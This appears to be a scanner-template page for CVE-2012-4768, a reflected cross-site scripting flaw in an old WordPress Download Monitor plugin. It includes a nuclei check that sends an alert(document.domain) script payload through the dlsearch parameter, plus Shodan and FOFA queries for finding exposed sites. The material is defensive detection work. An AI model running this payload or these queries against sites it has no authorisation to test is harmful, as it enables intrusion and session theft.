WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting

mediumseverity

4.3CVSS score

10.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of Download Monitor (3.3.5.9 or higher) or apply the official patch provided by the plugin developer.

How to confirm it

Send: GET /wp-content/plugins/download-monitor/readme.txt
Positive when: contains "Download Monitor ="
Send: GET {{BaseURL}}/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-4768 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-4768

info:
  name: WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of Download Monitor (3.3.5.9 or higher) or apply the official patch provided by the plugin developer.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4768
    - http://packetstormsecurity.org/files/116408/wpdownloadmonitor3357-xss.txt
    - http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/78422
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4768
    cwe-id: CWE-79
    epss-score: 0.10456
    epss-percentile: 0.95786
    cpe: cpe:2.3:a:mikejolley:download_monitor:3.3.5.7:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mikejolley
    product: "download_monitor"
    framework: wordpress
    shodan-query: "http.html:\"/wp-content/plugins/download-monitor/\""
    fofa-query: "body=\"/wp-content/plugins/download-monitor/\""
  tags: cve,cve2012,xss,wp-plugin,packetstorm,wordpress,mikejolley,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/download-monitor/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Download Monitor ='

  - method: GET
    path:
      - '{{BaseURL}}/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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